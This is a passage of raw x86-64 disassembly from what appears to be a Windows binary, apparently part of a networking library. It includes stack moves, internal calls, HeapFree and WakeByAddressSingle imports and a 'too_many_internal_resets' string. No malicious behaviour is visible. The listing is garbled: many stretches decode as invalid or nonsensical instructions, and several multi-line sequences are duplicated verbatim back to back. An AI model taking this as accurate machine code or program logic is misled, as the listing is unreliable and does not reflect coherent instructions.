lea r10, [rsp + 0x864]
mov byte [r10 + 0x73], r9b
mov r9d, dword [rsp + 0xce0]
mov dword [r10 + 0x6f], r9d
mov r9, qword [rsp + 0x7a0]
mov qword [r10 + 0xd4], r9
movaps xmm0, xmmword [rsp + 0x790]
movups xmmword [r10 + 0xc4], xmm0
movaps xmm0, xmmword [rsp + 0x780]
movups xmmword [r10 + 0xb4], xmm0
movdqa xmm0, xmmword [rsp + 0x740]
movaps xmm1, xmmword [rsp + 0x750]
movaps xmm2, xmmword [rsp + 0x760]
and al, 0x60
invalid
add byte [rax], al
movaps xmm3, xmmword [rsp + 0x770]
movups xmmword [r10 + 0xa4], xmm3
movups xmmword [r10 + 0x94], xmm2
movups xmmword [r10 + 0x84], xmm1
movdqu xmmword [r10 + 0x74], xmm0
mov r9, qword [rsp + 0x40]
mov byte [rsp + 0x868], r9b
mov byte [rsp + 0x869], r8b
mov word [rsp + 0x86a], dx
push 8
add byte [rax], al
and al, 0x60
invalid
push 8
add byte [rax], al
mov dword [rsp + 0x86c], ecx
mov qword [rsp + 0x870], r14
mov rcx, qword [rsp + 0x348]
mov qword [rsp + 0x878], rcx
mov rcx, qword [rsp + 0x1a8]
mov qword [rsp + 0x880], rcx
mov rcx, qword [rsp + 0x180]
mov qword [rsp + 0x888], rcx
mov dword [rsp + 0x7b0], r15d
mov edx, dword [rsp + 0xe0]
mov dword [rsp + 0x7b4], edx
cmp qword [r13 + 0x10], r15
jbe 0x1400560ef
mov rcx, qword [r13 + 8]
cmp dword [rcx + rbx], 2
je 0x1400560ef
add rcx, rbx
cmp dword [rcx + 0x114], edx
jne 0x1400560ef
add rcx, 0x18
mov qword [rsp + 0x860], rax
mov rdx, qword [rsp + 0xd0]
lea r8, [rsp + 0x860]
call fcn.140020940
mov ecx, dword [rsp + 0xe0]
mov dword [rsp + 0x740], r15d
mov dword [rsp + 0x744], ecx
cmp qword [r13 + 0x10], r15
jbe 0x1400560e2
mov rax, qword [r13 + 8]
cmp dword [rax + rbx], 2
je 0x1400560e2
add rax, rbx
cmp dword [rax + 0x114], ecx
jne 0x1400560e2
mov rdx, qword [rax + 0xa8]
mov rcx, qword [rax + 0xb0]
mov qword [rax + 0xa8], 0
test rdx, rdx
mov r15d, dword [rsp + 0x98]
je 0x140050c8d
call qword [rdx + 8]
cmp byte [rsp + 0xc48], 0
mov rbx, qword [rsp + 0x78]
mov r13, qword [rsp + 0x60]
je 0x140050cba
mov rcx, qword [rsp + 0xd0]
add rcx, 0x64
lea rdx, [rsp + 0x538]
call fcn.140013cd0
mov r10d, esi
movzx r8d, byte [rsp + 0x87]
mov r11, qword [rsp + 0x340]
mov rsi, r12
mov r12, qword [rsp + 0x50]
movzx r9d, word [rsp + 0xa2]
mov edx, dword [rsp + 0x1c0]
mov al, 3
mov qword [rsp + 0x40], rax
mov word [rsp + 0xa2], r9w
cmp byte [rsp + 0x40], 0
mov byte [rsp + 0x5f], r10b
mov byte [rsp + 0x87], r8b
mov qword [rsp + 0x340], r11
mov dword [rsp + 0x1c0], edx
je 0x140050d7d
mov rax, qword [rsp + 0x558]
mov qword [rsp + 0x6a8], rax
mov rax, qword [rsp + 0xa10]
mov qword [rsp + 0xc20], rax
mov rax, qword [rsp + 0xa18]
mov qword [rsp + 0xc28], rax
mov rax, qword [rsp + 0xa20]
mov qword [rsp + 0xc18], rax
mov dword [rsp + 0x194], edx
movzx eax, word [rsp + 0x152]
mov word [rsp + 0x396], ax
mov byte [rsp + 0xa5], r8b
jmp 0x140050e59
mov rax, qword [rsp + 0xbf8]
mov rcx, qword [rsp + 0x308]
mov r9, qword [rcx]
mov rcx, qword [rsp + 0x110]
cmp dword [rcx], 1
jne 0x140050dbb
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rdx + 0x10]
cmp rcx, qword [rdx + 0x58]
jbe 0x140050e08
mov rcx, qword [rdx + 0x58]
cmp qword [rdx + 0x10], rcx
ja 0x140050dc4
jmp 0x140055dc4
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rdx + 0x58]
inc rcx
mov qword [rdx + 0x58], rcx
lea rcx, [rax + 0xa0]
add rax, 0x140
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x538]
mov qword [rsp + 0x20], rax
mov rdx, qword [rsp + 0x558]
call fcn.1400c2370
mov al, 3
jmp 0x140050e54
mov byte [rsp + 0xa5], 1
mov dword [rsp + 0x194], 0xb
mov eax, 0x18
mov qword [rsp + 0xc28], rax
lea rax, [0x1401598d0]
mov qword [rsp + 0x6a8], rax
mov qword [rsp + 0xc20], 0
lea rax, str.too_many_internal_resets
mov qword [rsp + 0xc18], rax
mov al, 1
mov qword [rsp + 0x40], rax
cmp dword [rsp + 0x188], 0x3b9aca00
setne r8b
xchg ebp, eax
ror byte [rax - 0x75], 0x8c
and al, 0x10
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x38
add eax, 0xb3e80000
invalid
std
inc dword [rax + 0x1a024bc]
add byte [rax], al
add byte [rbp + 0xf], dh
xchg ebp, eax
ror byte [rax - 0x75], 0x8c
and al, 0x10
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x38
add eax, 0xb3e80000
invalid
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x140050eb5
xor eax, eax
mov rcx, qword [rsp + 0x130]
xchg byte [rcx], al
cmp al, 2
jne 0x14004e18d
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
jmp 0x14004e18d
call fcn.14012bf20
test al, al
jne 0x140050e96
mov rax, qword [rsp + 0x130]
mov byte [rax + 1], 1
jmp 0x140050e96
test eax, eax
mov r12, qword [rsp + 0x50]
push rax
push rax
mov r13, qword [rsp + 0x60]
mov r15d, dword [rsp + 0x98]
je 0x14004db8d
cmp eax, 1
jne 0x1400515c2
mov rax, qword [rsp + 0x3d8]
mov rdx, qword [rsp + 0x3e0]
mov r8, qword [rsp + 0x3e8]
lea rcx, [rsp + 0x3f0]
call qword [rax + 0x10]
jmp 0x14004db8d
invalid
push qword [rdx + 0x54894803]
and al, 0x40
mov dl, 3
mov qword [rsp + 0x40], rdx
mov dword [r14 + 0xb4], eax
xor ebx, ebx
mov dword [rsp + 0xe0], ecx
mov r12, qword [rsp + 0x50]
jmp 0x14004d570
mov rax, qword [r15 + 0x58]
lea r9, [r8 + 8]
inc rax
mov qword [r15 + 0x58], rax
lea rcx, [r15 + 0x108]
lea rax, [r15 + 0x1a8]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x960]
mov qword [rsp + 0x20], rax
mov edx, r14d
mov r8d, r10d
call fcn.1400c2370
mov r8, qword [rsp + 0x130]
movzx eax, word [rsp + 0x1ce]
mov word [rsp + 0x1ce], ax
test sil, sil
jne 0x140050faf
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x1400517d8
xor eax, eax
xchg byte [r8], al
cmp al, 2
movzx r14d, byte [rsp + 0xa7]
mov esi, dword [rsp + 0x98]
jne 0x140050fdf
mov dword [rsp + 0xd0], 0
mov al, 3
mov qword [rsp + 0x40], rax
jmp 0x1400513e4
cmp dword [rsp + 0x1a8], 0x3b9aca00
setne r8b
mov rcx, qword [rsp + 0x188]
lea rdx, [rsp + 0x960]
call fcn.140022d30
mov r9b, 3
jmp 0x14004cdc8
mov dl, 1
mov qword [rsp + 0x40], rdx
mov dword [rax + 0xa0], ecx
mov ecx, dword [rax + 0xa4]
sub ecx, ebp
jno 0x1400515f5
xor ebx, ebx
mov dword [rsp + 0xe0], 3
lea rsi, [0x140131ef8]
jmp 0x14004d570
mov dword [rsp + 0x160], r14d
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x128], r8
mov r8d, 0xb0
mov word [rsp + 0x348], cx
lea rcx, [rsp + 0xaa0]
mov dword [rsp + 0x350], edx
lea rdx, [rsp + 0x5a0]
mov r14, r9
mov r12d, r10d
mov qword [rsp + 0x330], r11
call fcn.140121660
mov byte [rsp + 0xa78], r14b
mov byte [rsp + 0xa79], r12b
movzx eax, word [rsp + 0x348]
mov word [rsp + 0xa7a], ax
mov dword [rsp + 0xa7c], r15d
mov dword [rsp + 0xa80], ebp
mov eax, dword [rsp + 0x350]
mov dword [rsp + 0xa84], eax
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0xa88], rax
mov rax, qword [rsp + 0x330]
mov qword [rsp + 0xa90], rax
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0xa98], rax
mov qword [rsp + 0xa70], rdi
movups xmm0, xmmword [0x14015a3e0]
movaps xmmword [rsp + 0x580], xmm0
movdqu xmm0, xmmword [0x14015a3d0]
movdqa xmmword [rsp + 0x570], xmm0
lea rcx, [rsp + 0xa70]
lea rdx, [rsp + 0x570]
call fcn.14001d380
mov r12, rax
mov rax, qword [rsp + 0x570]
test rax, rax
je 0x140051161
mov rdx, qword [rsp + 0x578]
mov r8, qword [rsp + 0x580]
lea rcx, [rsp + 0x588]
call qword [rax + 0x10]
test r12, r12
je 0x1400511b8
mov rax, qword [r12 + 0x10]
cmp rax, 0x13
ja 0x140051303
test rax, rax
je 0x1400511b8
mov rcx, qword [r12 + 8]
xor edx, edx
xor r8d, r8d
movzx r9d, byte [rcx + rdx]
lea r10d, [r9 - 0x3a]
cmp r10b, 0xf6
jb 0x140051303
lea r8, [r8 + r8*4]
add r9b, 0xd0
movzx r9d, r9b
lea r8, [r9 + r8*2]
inc rdx
cmp rax, rdx
jne 0x140051184
test r8, r8
jne 0x140051303
movzx eax, byte [rsp + 0xb28]
and al, 0xb
cmp al, 1
jne 0x140051303
mov dword [rsp + 0xd98], r13d
mov ebp, dword [rsp + 0x160]
mov dword [rsp + 0xd9c], ebp
cmp qword [rsi + 0x10], r13
jbe 0x1400561b3
mov r15, qword [rsi + 8]
cmp dword [r15 + rbx], 2
je 0x1400561b3
add r15, rbx
cmp dword [r15 + 0x114], ebp
jne 0x1400561b3
add r15, 0x18
mov r8d, 0xe0
lea rdi, [rsp + 0x570]
mov rcx, rdi
lea rdx, [rsp + 0xa70]
call fcn.140121660
mov rcx, r15
mov rdx, qword [rsp + 0x40]
mov r8, rdi
call fcn.140020940
mov dword [rsp + 0xd98], r13d
mov dword [rsp + 0xd9c], ebp
cmp qword [rsi + 0x10], r13
jbe 0x1400561b3
mov rax, qword [rsi + 8]
cmp dword [rax + rbx], 2
je 0x1400561b3
add rax, rbx
cmp dword [rax + 0x114], ebp
jne 0x1400561b3
mov rdx, qword [rax + 0xa8]
mov rcx, qword [rax + 0xb0]
mov qword [rax + 0xa8], 0
test rdx, rdx
je 0x140051292
call qword [rdx + 8]
mov r12, qword [rsp + 0x50]
mov esi, dword [rsp + 0x160]
cmp dword [rsp + 0x1a8], 0x3b9aca00
setne r8b
mov rcx, qword [rsp + 0x188]
lea rdx, [rsp + 0x960]
call fcn.140022d30
mov eax, esi
mov qword [rsp + 0xbb0], rax
mov qword [rsp + 0x858], r13
mov rdi, qword [rsp + 0xf8]
mov rbp, qword [rsp + 0x88]
movzx r14d, byte [rsp + 0xa7]
mov r13, qword [rsp + 0x60]
mov r15, qword [rsp + 0x70]
mov esi, dword [rsp + 0x98]
jmp 0x140051431
lea rcx, [rsp + 0xa70]
call fcn.140012dd0
mov r10b, 1
mov r14d, 1
xor r9d, r9d
mov rdi, qword [rsp + 0xf8]
mov rbp, qword [rsp + 0x88]
mov r12, qword [rsp + 0x50]
jmp 0x140051752
mov r14b, 1
mov dword [rsp + 0xd0], 0xb
mov eax, 0x18
mov qword [rsp + 0xd30], rax
lea rax, [0x1401598d0]
mov qword [rsp + 0x858], rax
mov qword [rsp + 0xd28], 0
lea rax, str.too_many_internal_resets
mov qword [rsp + 0xd20], rax
movzx eax, word [rsp + 0x1ce]
mov word [rsp + 0x1cc], ax
mov r9b, 1
mov qword [rsp + 0x40], r9
test sil, sil
jne 0x1400513ab
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x1400517f7
xor eax, eax
xchg byte [r8], al
mov rcx, qword [rsp + 0x858]
shr rcx, 0x20
mov qword [rsp + 0xbb0], rcx
movzx ecx, word [rsp + 0x1cc]
mov word [rsp + 0x1ce], cx
cmp al, 2
mov rbx, qword [rsp + 0x78]
mov esi, dword [rsp + 0x98]
jne 0x1400513ed
mov rcx, r8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp dword [rsp + 0x1a8], 0x3b9aca00
setne r8b
mov rcx, qword [rsp + 0x188]
lea rdx, [rsp + 0x960]
call fcn.140022d30
mov r9, qword [rsp + 0x40]
cmp r9b, 3
jne 0x140051549
mov r9b, 3
cmp dword [rsp + 0xd0], 1
jne 0x14004cdc8
mov rcx, qword [r15 + 0x1c0]
mov rdx, qword [r15 + 0x1c8]
mov r8, qword [rsp + 0x1a0]
mov r9d, dword [rsp + 0xe0]
call fcn.140013c40
cld
dec dword [rdi]
adc byte [rax + 0x100], al
cld
dec dword [rdi]
adc byte [rax + 0x100], al
movaps xmmword [rsp + 0x1e0], xmm0
mov ecx, dword [rax + 0x110]
mov dword [rsp + 0x1f0], ecx
mov dword [rax + 0x100], 0
mov rax, qword [rsp + 0x858]
mov dword [rsp + 0x578], eax
mov rax, qword [rsp + 0xbb0]
mov dword [rsp + 0x57c], eax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x570], rax
lea rcx, [rsp + 0x1e0]
lea rbx, [rsp + 0x570]
mov rdx, rbx
call fcn.140013cd0
mov rax, qword [rsp + 0x1a0]
mov dword [rsp + 0x578], eax
mov eax, dword [rsp + 0xe0]
mov dword [rsp + 0x57c], eax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x570], rax
mov rcx, rbx
call fcn.140014d50
movdqa xmm0, xmmword [rsp + 0x1e0]
movdqu xmmword [rax + 0x100], xmm0
add dword [rax], eax
add byte [rbx + 0x1f0248c], cl
add byte [rax], al
add dword [rax], eax
add byte [rbx + 0x1f0248c], cl
add byte [rax], al
mov dword [rax + 0x110], ecx
mov rcx, rbx
call fcn.140014d50
mov rdx, qword [rax + 0xa8]
mov rcx, qword [rax + 0xb0]
mov qword [rax + 0xa8], 0
test rdx, rdx
je 0x14005153c
call qword [rdx + 8]
mov r9b, 3
mov rbx, qword [rsp + 0x78]
jmp 0x14004cdc8
mov eax, dword [rsp + 0x858]
mov rcx, qword [rsp + 0xbb0]
shl rcx, 0x20
or rcx, rax
mov qword [rsp + 0x848], rcx
mov rax, qword [rsp + 0xd30]
mov qword [rsp + 0x840], rax
mov rax, qword [rsp + 0xd28]
mov qword [rsp + 0x838], rax
mov rax, qword [rsp + 0xd20]
mov qword [rsp + 0xa28], rax
mov eax, dword [rsp + 0xd0]
mov dword [rsp + 0x388], eax
movzx eax, word [rsp + 0x1cc]
mov word [rsp + 0x1d2], ax
mov byte [rsp + 0xa6], r14b
jmp 0x14004cdc8
mov rax, qword [rsp + 0x3d8]
neg rax
jo 0x14004db8d
invalid
dec dword [rdi]
xor dword [rbp + rax*8 - 0x74b30001], 0xffffff84
and al, 0xe0
add eax, dword [rax]
add byte [rax - 0x75], cl
or eax, 0x14dc70
jae 0x14004db8d
mov r8, qword [rsp + 0x3e0]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14004db8d
mov dword [rax + 0xa4], ecx
lea rbx, [r14 + 0x68]
lea rsi, [rsp + 0xfd0]
mov rcx, rsi
call fcn.140014d50
add dword [rax + 0x11c], ebp
movdqa xmm0, xmmword [rsp + 0x570]
movaps xmm1, xmmword [rsp + 0x580]
lea rax, [rsp + 0x1f0]
movups xmmword [rax + 8], xmm1
movdqu xmmword [rax - 8], xmm0
mov qword [rsp + 0x1e0], 4
mov rcx, rsi
call fcn.140014d50
lea rcx, [rax + 0x18]
mov rdx, rbx
lea r8, [rsp + 0x1e0]
call fcn.140020940
mov rcx, rsi
call fcn.140014d50
mov rdx, qword [rax + 0xa8]
mov rcx, qword [rax + 0xb0]
mov qword [rax + 0xa8], 0
test rdx, rdx
je 0x140051688
call qword [rdx + 8]
cmp dword [rsp + 0x110], 0x3b9aca00
setne r8b
mov al, 3
mov qword [rsp + 0x40], rax
mov eax, 1
mov qword [rsp + 0x6a0], rax
mov rax, qword [rsp + 0x6b0]
mov qword [rsp + 0x520], rax
mov qword [rsp + 0x698], 0
mov eax, dword [rsp + 0x380]
mov dword [rsp + 0x384], eax
mov rbp, qword [rsp + 0x88]
lea rdx, [rsp + 0xfd0]
mov rsi, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x130]
mov rcx, rbx
call fcn.140022d30
cmp byte [rsp + 0x1a0], 0
je 0x14004daef
jmp 0x14004db02
mov r14d, ebp
mov qword [rsp + 0xb98], r8
mov qword [rsp + 0xba0], r11
mov qword [rsp + 0xba8], rdi
mov eax, edx
mov qword [rsp + 0xa30], rax
mov dword [rsp + 0xd0], r15d
mov word [rsp + 0x394], cx
mov rdi, qword [rsp + 0xf8]
mov rbp, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x78]
mov r13, qword [rsp + 0x60]
mov r15, qword [rsp + 0x70]
jmp 0x14004f3b7
mov rcx, r8
mov rsi, r9
mov byte [rsp + 0x60], r10b
call fcn.14012be60
movzx r10d, byte [rsp + 0x60]
mov r8, qword [rsp + 0x130]
mov r9, rsi
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x14004f3e1
mov rsi, r9
mov byte [rsp + 0x60], r10b
call fcn.14012bf20
movzx r10d, byte [rsp + 0x60]
mov r8, qword [rsp + 0x130]
mov r9, rsi
mov esi, eax
xor sil, 1
movzx eax, byte [r8 + 1]
test al, al
movzx ecx, word [rsp + 0x394]
je 0x14004f3f8
jmp 0x140056165
call fcn.14012bf20
mov r8, qword [rsp + 0x130]
add dword [rax], eax
add byte [rax + rax*8 - 0x83d7af1], al
invalid
invalid
add dword [rax], eax
add byte [rax + rax*8 - 0x83d7af1], al
invalid
mov byte [r8 + 1], 1
jmp 0x140050faf
call fcn.14012bf20
mov r8, qword [rsp + 0x130]
test al, al
jne 0x1400513ab
mov byte [r8 + 1], 1
jmp 0x1400513ab
cmp r9d, 4
je 0x140051844
lea rcx, [rsp + 0xe51]
mov rax, qword [rcx + 0x1f]
lea rdx, [rsp + 0x6f9]
mov qword [rdx + 0x1f], rax
movdqu xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movdqu xmmword [rdx], xmm0
mov byte [rsp + 0x6f8], r9b
mov rdx, qword [rsp + 0x118]
cmp r9b, 4
jne 0x140053d60
jmp case.default.0x140053e28
mov rax, qword [rsp + 0x6e8]
mov qword [rax], rsi
movdqa xmm0, xmmword [rsp + 0x570]
movaps xmm1, xmmword [rsp + 0x580]
mov rax, qword [rsp + 0xd90]
movups xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov byte [rsp + 0x6f8], 4
add al, 0x48
mov edx, dword [rsp + 0x118]
add al, 0x48
mov edx, dword [rsp + 0x118]
mov rsi, qword [rsp + 0x168]
mov qword [rsp + 0x118], rdx
mov r8, qword [rdi + 0x408]
lea rax, [r8 + 0x10]
mov qword [rsp + 0x160], rax
xor eax, eax
mov cl, 1
lock cmpxchg byte [r8 + 0x10], cl
mov qword [rsp + 0x40], r8
jne 0x1400543b3
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x1400543d8
mov dword [rsp + 0x728], 0
movzx eax, byte [r8 + 0x11]
test al, al
jne 0x1400558c8
mov rdx, qword [rdi + 0x410]
lea rax, [rdx + 0x10]
mov qword [rsp + 0x1b0], rax
xor eax, eax
mov cl, 1
mov qword [rsp + 0x330], rdx
lock cmpxchg byte [rdx + 0x10], cl
jne 0x1400543fd
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x140054422
mov dword [rsp + 0x124], 0
mov qword [rsp + 0x78], rbx
mov rax, qword [rsp + 0x330]
movzx eax, byte [rax + 0x11]
test al, al
jne 0x1400558f2
mov eax, dword [r8 + 0xc0]
add al, 0
add byte [rax], al
mov ebx, dword [r8 + 0xc4]
sub ebx, eax
mov qword [rsp + 0x168], rsi
jle 0x140051aaa
mov ecx, eax
shr ecx, 0x1f
add ecx, eax
sar ecx, 1
cmp ebx, ecx
mov r14, qword [rsp + 0x100]
jl 0x140051c9d
cmp dword [rdi + 0x100], 4
jne 0x1400519bb
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x140051c40
mov rcx, qword [rsp + 0x140]
mov rdx, rbp
call fcn.1400c10f0
mov r9, rax
or rax, rdx
jne 0x140051c36
mov r9d, 1
cmp dword [rdi + 0x100], 4
mov r8, qword [rsp + 0x40]
jne 0x140051a06
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x140051c40
mov rbx, qword [rsp + 0x160]
jmp 0x14005460e
mov rax, qword [rsp + 0x6c0]
mov qword [rsp + 0x700], rax
mov rax, qword [rsp + 0x6c8]
mov qword [rsp + 0x708], rax
mov rax, qword [rsp + 0x6d0]
mov qword [rsp + 0x710], rax
mov rax, qword [rsp + 0x6d8]
mov qword [rsp + 0x718], rax
mov rax, qword [rsp + 0x338]
mov dword [rsp + 0x6f8], eax
mov ecx, dword [rsp + 0x1c8]
mov dword [rsp + 0x6fc], ecx
mov r9d, eax
jmp 0x140051b82
mov byte [rsp + 0x6f8], 4
mov r9b, 4
jmp 0x140051b82
mov byte [rsp + 0x6f8], 3
mov r9b, 3
mov rsi, qword [rsp + 0x168]
cmp r9b, 4
jne 0x140053d60
jmp case.default.0x140053e28
xor esi, esi
xor r9d, r9d
mov r14, qword [rsp + 0x100]
jmp 0x140051ca2
mov rcx, rsi
call fcn.14012be60
mov rdx, r14
jmp 0x1400466ed
call fcn.14012bf20
mov rdx, r14
xor al, 1
movzx ecx, byte [rbx + 0x11]
test cl, cl
je 0x140046716
jmp 0x1400552ca
mov r9b, 3
cmp byte [rdi + 0x3dd], 0
jne 0x140051b32
mov byte [rsp + 0x6f9], 1
mov eax, dword [rsp + 0xa60]
mov dword [rsp + 0x6fc], eax
lea rax, [0x1401586b0]
mov qword [rsp + 0x700], rax
mov qword [rsp + 0x708], 1
lea rax, [rsp + 0x710]
movups xmmword [rax], xmm6
mov r9b, 1
mov byte [rsp + 0x6f8], r9b
jmp 0x140053d60
mov r9, qword [rsp + 0x3d0]
mov rax, qword [rsp + 0x3d8]
mov r8, qword [rsp + 0x3e0]
lea rcx, [rsp + 0x3e8]
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x10]
lea rcx, [rsp + 0x6f8]
mov rdx, rsi
call fcn.140016200
movzx r9d, byte [rsp + 0x6f8]
mov rdx, qword [rsp + 0x118]
mov rsi, qword [rsp + 0x168]
cmp r9b, 4
jne 0x140053d60
jmp case.default.0x140053e28
movaps xmmword [rsp + 0xa70], xmm6
mov r9b, 1
mov eax, 1
lea rcx, [0x14015e6e0]
mov rsi, qword [rsp + 0x168]
jmp 0x140051be0
movdqa xmm0, xmmword [rsp + 0x570]
movdqa xmmword [rsp + 0xa70], xmm0
mov eax, 3
lea rcx, [0x140132100]
mov byte [rsp + 0x6f9], 1
mov dword [rsp + 0x6fc], eax
mov qword [rsp + 0x700], rcx
mov qword [rsp + 0x708], 1
movdqa xmm0, xmmword [rsp + 0xa70]
lea rax, [rsp + 0x710]
movdqu xmmword [rax], xmm0
jmp 0x140053d4c
call fcn.14012bf20
mov rdx, r14
test al, al
jne 0x1400468a4
mov byte [rbx + 0x11], 1
jmp 0x1400468a4
mov rsi, rdx
mov r8, qword [rsp + 0x40]
jmp 0x140051c45
xor esi, esi
xor r9d, r9d
mov rax, r9
or rax, rsi
jne 0x140051ca2
mov dword [rsp + 0x1e4], 0
mov dword [rsp + 0x1e8], ebx
mov byte [rsp + 0x1e0], 7
mov rcx, qword [rsp + 0x140]
lea rdx, [rsp + 0x1e0]
call fcn.1400bfa40
cmp al, 0xc
jne 0x140055f44
mov r8, qword [rsp + 0x40]
add ebx, dword [r8 + 0xc0]
jo 0x140055f57
mov dword [r8 + 0xc0], ebx
xor esi, esi
xor r9d, r9d
lea rax, [r8 + 0x18]
mov qword [rsp + 0x130], rax
lea rax, [r8 + 0x1c8]
mov qword [rsp + 0x70], rax
mov rax, r9
or rax, rsi
mov rbx, qword [rsp + 0x160]
je 0x140051d23
jmp 0x14005205e
shl rsi, 0x20
or rsi, rbx
cmp ebp, 0x3b9aca00
setne r8b
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1e8], rsi
mov rcx, qword [rsp + 0x130]
lea rdx, [rsp + 0x1e0]
call fcn.140022d30
mov rbp, qword [rsp + 0x88]
mov r14, qword [rsp + 0x100]
mov rbx, qword [rsp + 0x160]
cmp dword [rdi + 0x100], 4
jne 0x140051d43
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x140051dad
mov rcx, qword [rsp + 0x140]
mov rdx, rbp
call fcn.1400c10f0
mov rcx, rax
or rcx, rdx
jne 0x140051d9b
mov eax, 1
cmp dword [rdi + 0x100], 4
mov r8, qword [rsp + 0x40]
jne 0x14005204e
mov rcx, qword [rdi + 0x158]
sub rcx, qword [rdi + 0x150]
cmp rcx, qword [rdi + 0x178]
jb 0x14005204e
xor esi, esi
xor eax, eax
test rax, rax
je 0x140051dbf
jmp 0x14005204e
mov rsi, rdx
mov r8, qword [rsp + 0x40]
test rax, rax
je 0x140051dbf
jmp 0x14005204e
xor esi, esi
xor eax, eax
mov r8, qword [rsp + 0x40]
test rax, rax
jne 0x14005204e
test rsi, rsi
jne 0x14005204e
cmp dword [r8 + 0xc8], 1
jne 0x140052048
mov ebx, dword [r8 + 0xcc]
mov esi, dword [r8 + 0xd0]
cmp ebx, dword [r8 + 0xd4]
jne 0x140051e55
cmp esi, dword [r8 + 0xd8]
jne 0x140051e55
mov dword [rsp + 0x570], ebx
mov dword [rsp + 0x574], esi
mov rax, qword [r8 + 0x1d8]
cmp rax, rbx
jbe 0x140054d23
mov rcx, qword [r8 + 0x1d0]
imul rdx, rbx, 0x130
cmp dword [rcx + rdx], 2
je 0x140054d23
add rcx, rdx
cmp dword [rcx + 0x114], esi
jne 0x140054d23
test byte [rcx + 0xe8], 1
jne 0x1400550ac
mov dword [r8 + 0xc8], 0
jmp 0x140051ed1
mov dword [rsp + 0x570], ebx
mov dword [rsp + 0x574], esi
cmp qword [r8 + 0x1d8], rbx
jbe 0x140054d2d
mov rax, qword [r8 + 0x1d0]
imul rcx, rbx, 0x130
cmp dword [rax + rcx], 2
je 0x140054d2d
add rax, rcx
cmp dword [rax + 0x114], esi
jne 0x140054d2d
movq xmm0, qword [rax + 0xec]
test byte [rax + 0xe8], 1
mov dword [rax + 0xe8], 0
je 0x1400550a0
mov dword [r8 + 0xc8], 1
movq qword [r8 + 0xcc], xmm0
mov rax, qword [r8 + 0x1d8]
mov dword [rsp + 0x570], ebx
mov dword [rsp + 0x574], esi
cmp rax, rbx
jbe 0x140054d2d
mov rax, qword [r8 + 0x1d0]
imul r14, rbx, 0x130
cmp dword [rax + r14], 2
je 0x140054d2d
add rax, r14
cmp dword [rax + 0x114], esi
jne 0x140054d2d
mov byte [rax + 0x127], 0
mov dword [rsp + 0x570], ebx
mov dword [rsp + 0x574], esi
cmp qword [r8 + 0x1d8], rbx
jbe 0x140054d23
mov rax, qword [r8 + 0x1d0]
cmp dword [rax + r14], 2
je 0x140054d23
add rax, r14
cmp dword [rax + 0x114], esi
jne 0x140054d23
mov ebp, dword [rax + 0x48]
movzx ecx, byte [rax + 0x50]
add cl, 0xfa
movzx ecx, cl
cmp cl, 6
mov edx, 6
cmovae ecx, edx
cmp cl, 4
je 0x140051f88
movzx ecx, cl
cmp ecx, 3
jne 0x140051cd0
cmp byte [rax + 0x52], 0
je 0x140051cd0
jmp 0x140051f92
cmp byte [rax + 0x51], 1
jne 0x140051cd0
mov ecx, dword [rax + 0xa0]
mov r15d, dword [rax + 0xa4]
sub r15d, ecx
jle 0x140051cd0
mov eax, ecx
shr eax, 0x1f
add eax, ecx
sar eax, 1
cmp r15d, eax
jl 0x140051cd0
mov dword [rsp + 0x1e4], esi
mov dword [rsp + 0x1e8], r15d
mov byte [rsp + 0x1e0], 7
mov rcx, qword [rsp + 0x140]
lea rdx, [rsp + 0x1e0]
call fcn.1400bfa40
cmp al, 0xc
jne 0x140055c71
mov dword [rsp + 0x570], ebx
mov dword [rsp + 0x574], esi
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x1d8], rbx
jbe 0x140054d2d
mov rax, qword [rax + 0x1d0]
cmp dword [rax + r14], 2
je 0x140054d2d
add rax, r14
cmp dword [rax + 0x114], esi
jne 0x140054d2d
xor esi, esi
xor eax, eax
jmp 0x14005204e
mov rcx, rax
or rcx, rsi
mov r9d, 0
cmovne r9, rax
test r9, r9
jne 0x14005460e
test rsi, rsi
jne 0x14005460e
cmp dword [rdi + 0x100], 4
jne 0x140052090
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x1400520e0
mov rcx, qword [rsp + 0x140]
mov rdx, rbp
call fcn.1400c10f0
mov r9, rax
or rax, rdx
jne 0x1400520d8
mov r9d, 1
cmp dword [rdi + 0x100], 4
jne 0x1400520d3
mov rax, qword [rdi + 0x158]
